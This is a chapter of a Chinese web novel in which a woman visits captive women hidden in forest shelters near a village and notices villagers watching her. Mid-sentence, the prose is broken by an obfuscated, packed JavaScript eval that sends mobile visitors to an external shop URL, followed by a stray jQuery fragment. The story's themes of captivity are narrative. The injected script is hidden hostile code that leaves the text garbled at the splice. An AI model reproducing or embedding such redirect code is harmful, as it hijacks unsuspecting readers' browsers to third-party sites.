第十二天早上她推开屋门的时候看见门槛边沿搁着一片卷起来的芭蕉叶，叶片边缘用细草茎扎着。
她弯腰捡起来解开草茎，里面包着半块玉米饼和一小撮盐，盐粒在叶片上散成一小堆灰白色的细点。
她蹲在门口把玉米饼吃了，盐撒在饼面上慢慢渗进去。吃完之后她把芭蕉叶叠好压在窗台边上。
她在院子里站了一会儿。
天上的云层很薄，晨光从东边漫过来的时候没有遇到什么遮挡，整座村子从暗色里浮出来，墙面上每一道裂缝和每一片剥落的墙皮都被照得分明。
她出门的时候没有走主路，从屋后那条窄路绕到了田间，穿过玉米地上了坡。
露水打湿了她的裤腿，鞋底沾了一层湿泥，踩在枯草上留下浅而清晰的印痕。
林缘那棵树的磨痕在晨光里泛着一层湿润的光，露水顺着树皮的纹路慢慢往下渗。
她跨进林子的时候枝叶上的水珠被她碰落了几滴，落在肩头和手背上。
她放慢步子沿着小径往前走，经过陈芳的窝棚时帘子是掀开的，陈芳坐在门口的石头上，手里拿着一把缺了齿的木梳在梳头。
她看见碎烬辞经过的时候停下动作点了下头，梳齿卡在一绺打结的头发里也没有急着拽开。
"今天来晚了。"
陈芳说。
"路上绕了一段。"
碎烬辞在她面前停下来。陈芳把梳子从头发里慢慢拽出来，带下来几根断发，她看也没看，随手拢了拢头发。
"你昨天说村里有人来找你了。"
"嗯。说丢了东西。"
陈芳把木梳放在膝盖上，两只手搭在上面。
"老会计的账本吧。"她说，语气平得像在说别人家的事。"他丢了账本应该是前两天的事。村里传开了。有人说是被偷的，有人说怕是什么人拿了要告到上面去。你小心一点。"
碎烬辞点了点头。她又看了一眼陈芳，陈芳今天的样子跟前几天不同。
头发用红绳扎了起来，露出一整张脸。
她的五官比她第一天看见的时候清秀得多，颧骨虽然高，但线条柔和，眉眼的形状带着一点西南那边常见的特征。她低头摩挲着膝盖上那柄缺了齿的木梳，像在摸一件旧物。
"你家里还有人吗。"碎烬辞问。
陈芳手里的动作停了一下。她没有抬头，目光落在梳齿间那几根断发的末端，看了一会儿才说：
"我有个弟弟。
我走的时候他十五。
不知道他现在在哪儿。
他也找过我吧，可能。
我在报纸上见过寻人启事，不知道是不是他发的。
那张报纸被烧了，我没看清名字。"
她说得很慢，像每句话都要在嗓子里过一遍才放出来。
碎烬辞没有追问。
她蹲下来，跟陈芳平齐的高度，然后从口袋里掏出一个小东西放在两个人之间的地面上。
是一枚旧硬币，边缘被磨损得发白了，正面还能认出模糊的年号。
她前一天在村尾那条小径旁边的泥里捡到的，压在几片碎瓦底下。
陈芳低头看着那枚硬币。
她没有伸手去拿，只是看着。
她看了很长时间，长到风把她们之间的几片落叶吹走了，她才轻轻说了一句："这个年头的硬币我见过。我弟弟攒过一盒。"
碎烬辞把那枚硬币往她那边推了推。陈芳伸出手把那枚硬币拿起来，翻了个面看了看，然后攥进掌心里握了一会儿才松开，放进了自己贴身的口袋里。
"你去找她们吧。"她说，声音比刚才轻了一些。"最里面那个窝棚今天有人来了。"
"谁？"
"广西那个。她退烧了之后自己去其他窝棚转了一圈。她很少主动出来，你碰上她了就跟她说说话。"
碎烬辞站起来继续往里走。经过第二座窝棚的时候帘子掀着，里面坐着一个人。
瘦小的轮廓，背对着门口，正在低头拆什么。
她没有停，但她的余光扫过帘子边缘的时候看见那个人的侧面：
短发，赤脚，脚踝上那根红绳的颜色比陈芳那根更深。对方没有回头，她继续走了。
最深处的窝棚门口李萍不在。
她走到近处才发现李萍正蹲在窝棚侧面几米远的地方，在翻一块被落叶盖着的石头。
她听见脚步声直起身来，手里攥着一把暗绿色的野草。
"阿妹醒了。"
李萍说，声音里有一层薄薄的热度，像水刚烧到将沸未沸。
"今早她自己坐起来了。喝了半碗粥，还跟我说话了。"
碎烬辞走到窝棚门口蹲下来。
门帘掀着，里面确实有人坐着了。
阿妹背靠窝棚的土壁，膝盖上搭着一件叠好的旧衣服，双手搁在衣服上面。
她的脸朝门口方向侧着，看见碎烬辞的时候目光迎上来，不再像前几天那样涣散或闭着。
她的眼睛是深的，眼白偏多，瞳孔在暗光里放得很大。
她的嘴唇动了一下，像想说什么，但力气还没完全回来，出来的只有一点含糊的气音。
"她嗓子还不行。"
李萍从外面走进来，蹲在阿妹旁边把那把暗绿色的野草放在地上。
"但精神好多了。
早上她比画着让我去挖这个，说煮水喝能补气。"
她低头看了看那把野草，又看了看阿妹，嘴角弯了一下。
那弧度很小，几乎看不出来，但她整张脸上的线条确实在那一下里柔和了一点点。
阿妹的目光从碎烬辞脸上移到李萍脸上又移回来。
她的眼珠动得很慢，像从一个地方转到另一个地方需要消耗力气。
但她伸出手来，手指朝碎烬辞的方向伸了半截，指节细瘦，指甲剪得很短。
碎烬辞把自己的手伸过去，阿妹的指尖碰到了她的指腹，很轻，像一片干透的叶子落在皮肤上。
阿妹的手指在她手上停了一会儿才收回去，然后她看着碎烬辞，嘴型动了一下，做了三个字的形状。
没有声音，但她看懂了——"谢谢你。"
碎烬辞把那只手收了回来，放在自己膝盖上。
窝棚里面光线很暗，但阿妹的脸在暗光里比前几天丰润了一些，颧骨下面那块凹陷的区域正在慢慢往回收。
李萍在旁边坐下，把野草的叶子一片一片捋平了放在膝盖上。
风从窝棚门口灌进来，把地面的灰尘卷起来又放下。
外面林子里有鸟叫了一声，隔了一会儿又一声。
她在那座窝棚门口坐了大半个时辰。
没有问太多问题，李萍说了些话，断断续续的，像想到什么说什么。
她说她来的那年村里一共进了四个。有一个被关在村长后院。
有一个生了孩子之后被锁在屋里不让出门。
还有一个"转走了"，她不知道转到哪儿去了。
她说完这些之后停下来喝了一口水，把碗沿搁在下唇上搁了一会儿才放下来。
阿妹靠在墙边慢慢闭上了眼睛，呼吸匀下来，像又睡着了。李萍看了她一眼，把叠好的旧衣服往上拉了拉盖住她的肩膀。
"她昨天半夜醒了一次，"李萍说，声音压得更低，"她问我今天是什么日子。
我说是十一月初几。
她说她记得她进来的时候是秋天。
这么多年了，她每年秋天都会醒过来一次。"
碎烬辞站起来。李萍也跟着站起来，把手里那把捋好的野草用一根细藤扎起来递给她。
"你拿着吧，回去煮水喝，这几天你也没怎么歇。"
碎烬辞接过来，把那扎野草放进外套里侧的口袋里，转身往外走。经过第二座窝棚的时候帘子还掀着，里面背对着她坐的那个人已经转了过来。
短发，圆脸，年纪看起来比陈芳和李萍都小，光脚坐在地上，怀里抱着一只缺了耳朵的旧布偶。
她看见碎烬辞走过来的时候抱紧了那只布偶，但目光没有躲开，一直看着碎烬辞。
碎烬辞朝她点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732150|208960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一下头。那个短发的年轻女人回了一下头，很小幅度的，像一只在确认安全之后才肯放松警惕的猫。
走出密林的时候日头已经升到了树冠正上方，她站在林缘拍掉身上沾的碎叶和细枝。
林子外面那片坡地上的落叶被太阳晒干了，踩上去的脆响比早晨大得多。
她穿过坡地回到村子的时候经过那扇铁皮门，门关着，但门缝里多了一样东西：
一小截布条从门缝底部伸出来，压在门外地面上，像是被人从里面塞出来的。
她弯腰把那截布条捡起来，布条上写着几个字，用木炭写的："有人一直在你家门口转。"
她把布条叠好塞进袖口里，没有停步，继续走回了自己那间屋子。
她进屋之后从门缝里往外看了一眼：
主路对面那棵枯树底下站着一个人，背靠树身，像在乘凉，但那个位置能看见她这间屋子的大门，从那边到卫生所的方向隔着整片空地的距离。
她认出了那人穿的那件深色布衫，是昨天来敲门的那个中年男人。她合上了门，在门后站了一会儿。
日光从窗纸外面透进来在桌面上投下一小块发亮的区域。
她在桌边坐下来，把那扎野草从口袋里取出来放在桌面上，绿色的叶片在光里泛着一层湿润的颜色。
她坐了一会儿没有动，然后站起来，走到屋后墙边把耳朵贴上了墙面。
隔壁那间空屋子有极轻的脚步声在走，细碎的，像有人在踱步。
那脚步慢慢走到她这面墙的附近，停住了，然后重新响起来，往远处去了。
下午的光线开始偏斜的时候她又出去了一趟，沿着屋后那条窄路走到玉米地边缘。
从那里能看见村口那棵老槐树和卫生所门口那条主路的一部分。
枯树底下的人已经不在了。
她没有多停留，顺着玉米地边沿走了一段之后从另一侧绕回了屋门口。
天黑之前她又把那把钥匙和铁丝重新检查了一遍，确认它们还在原位。
钥匙柄上缠着的那根细布条被她重新缠紧了，贴服着金属表面。
窗外的暮色正在沉下去。
后山方向的声音在入夜之后准时出现，这一夜的风比之前小，那道持续的低频声音穿透夜色传过来的时候比前几夜都清晰。
她坐在黑暗里听着那道声音，在那道持续的背景音里辨认出了一个轮廓。
那段重复的音节骨架在今天夜里拼得比以前都完整。
它确实是一个字的重复，像一个名字被反复念了很多很多遍，念到后来已经不分昼夜了。
她把那个轮廓在心里描了一遍，在舌尖上无声地含了一下。
夜更深之后她听见了屋外有脚步声。
很轻，踩在院子门口那片干泥地上，像有人放低了脚步慢慢经过。
她坐着没有动，听着那道脚步从门口经过，往村尾的方向去了，然后跟另一道更沉的脚步声汇合在一起。
那两道脚步声在远处停了一下，有人低声说了两句话，听不清内容。
然后脚步声分开，一道往卫生所方向走，另一道在原地站了一会儿，最后往村尾那扇铁皮门的方向去了。
锁扣被拨开的声响在夜里传过来，很轻，跟之前几夜一样的节奏，然后门开了又合上了。
她在黑暗里坐了很久。
窗外没有月光，整座村子沉在一片深稠的黑里。
后山方向的低频声音仍然在持续，那一层像人声的细线夹在风声和枝叶晃动声之间，像一根绷了很久还没断的细弦。
她把那根银链从腰间解下来绕在手指上，一圈一圈，冰凉的金属贴着她的皮肤，在黑暗里没有反光。
她靠在墙面上闭着眼睛听着那道细线的来回，直到天色开始从最深的黑往灰蓝偏转。
她把银链重新系回腰间，站起来推开门，晨间的冷空气裹着湿土的腥气灌进来扑了她一脸。
她站在门口看了一眼东边天际线上那道正在发亮的细白边，然后迈步走进了那片还没有完全亮透的光里。